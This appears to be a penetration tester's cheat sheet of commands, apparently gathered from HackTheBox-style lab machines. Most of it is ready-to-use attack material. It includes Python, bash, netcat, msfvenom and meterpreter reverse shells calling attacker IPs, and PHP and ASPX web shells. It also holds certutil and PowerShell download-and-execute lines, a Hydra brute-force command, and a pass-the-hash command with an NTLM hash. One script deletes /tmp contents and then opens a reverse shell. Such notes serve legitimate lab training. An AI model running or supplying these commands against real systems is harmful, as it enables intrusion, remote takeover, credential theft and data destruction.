Resources

Resources

Helpful Syntaxes

ActionSyntax
Dirbustinggobuster dir --url http://10.10.10.56/82/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,asp,aspx
dirbuster&
dirsearch -u http://10.10.10.9/ -e php -x 403,404 -t 50
Setting up a listenernc -nlvp 4444
C:\wmpub\nc.exe -e cmd.exe 10.10.14.46 1556
?cmd=nc.exe -e cmd.exe 10.10.14.31 4314
Python reverse shellpython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.16",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Simple file/exploit creationecho 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.46",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > exploit.py
Local exploit suggesterrun post/multi/recon/local_exploit_suggester
msfvenom payloadmsfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.7 LPORT=1234 -o shell.aspx
curl usagecurl -X MOVE --header 'Destination:http://10.10.10.15/test.aspx' 'http://10.10.10.15/test.html'
curl -X PUT http://10.10.10.15/shell.txt -d @shell.txt
Generic meterpreter shelluse exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
Hosting the file for making it downloadable for another usersudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .
copy \\10.10.14.46\kali\churrasco.exe C:\wmpub\churrasco.exe
copy \\10.10.14.46\kali\churrasco.exe C:\wmpub\churrasco.exe 1 file(s) copied.
Hydra bruteforcehydra 10.10.10.43 -l muq -P /usr/share/seclists/Passwords/twitter-banned.txt https-post-form "/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect password”
PHP injection<?php system($_REQUEST["cmd"]); ?>
<?php echo system($_REQUEST['cmd']); ?>
Bash reverse shellbash -c 'bash -i >%26 /dev/tcp/10.10.14.19/443 0>%261'
Bash spawn / Pythonpython -c 'import pty;pty.spawn("bash")'
Shell upgradestty -a
stty raw -echo;fg —> hit enter twice
stty rows
stty cols
Script for listing processes#!/bin/bash
#loop by line
IFS=$'\n'
old_process=$(ps -eo command)
while true; do new_process=$(ps -eo command)
diff <(echo "$old_process") <(echo "$new_process") |grep [\<\>]
sleep 1
old_process=$new_process done
Checking for hidden content inside an imagebinwalk -Me
Python code cleanup format:%s/;/\r/g
Windows exploit suggester scriptpython windows-exploit-suggester.py -d 2024-08-02-mssb.xls -i sysinfo.txt
Searchsploit-x ; to look up the content of the exploit , mousepad for gui , -m to download
Copying nccp /usr/share/windows-binaries/nc.exe .
Simple HTTPS serverpython -m SimpleHTTPServer 80
Getting something from the simple server [WINDOWS-powershell]powershell -c "Invoke-WebRequest -Uri http://10.10.14.8/41020.exeChimichurri.exe -OutFile C:\ColdFusion8\runtime\bin\Chimichurri.exe"
Hashcathashcat -m 100 hash.txt /usr/share/wordlists/rockyou.txt
Certutilcertutil -urlcache -f http://10.10.14.41/Chimichurri.exe chimichurri.exe
?cmd=certutil.exe -f -urlcache -split http://10.10.14.31/nc.exe nc.exe
Wpscan scriptwpscan —url https://brainfuck.htb — disable-tls-checks
John usagejohn crackthis --wordlist=/usr/share/wordlists/rockyou.txt
SSH login w RSA keyssh -i id_rsa orestis@brainfuck.htb
PHP shell<?php system($_REQUEST["cmd"]); ?>
DNS zone transferUSAGE- dig axfr @<DNS_IP> <DOMAIN>
PHP reverse shellhttps://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Useful nmap script—script=oracle-sid-brute 10.10.10.12
Nishang reverse shellcp /opt/powershell/nishang/Shells/Invoke-PowerShellTcp.ps1
ASPX web shell/usr/share/webshells/aspx/cmdasp.aspx muq.aspx
Using PowerShell to exec. content downloaded as a stringpowershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31:8000/nish.ps1')
Volatilitypython3 http://vol.py/ -f ~/Downloads/SILO-20180105-221806.dmp kdbgscan
python2 http://vol.py/ -f ~/Downloads/SILO-20180105-221806.dmp --profile Win2012R2x64 pstree
Using hash dumppth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 https://10.10.10.82/ cmd
Reverse shell#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /tmp/* ')
except:
sys.exit()
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"')


Useful Links

DescriptionLink
Reverse shell cheat sheetPentestmonkey Reverse Shell Cheat Sheet
SQL injection cheat sheetSQL Injection Cheat Sheet
Crontab GuruCrontab Guru
PHP reverse shellPHP Reverse Shell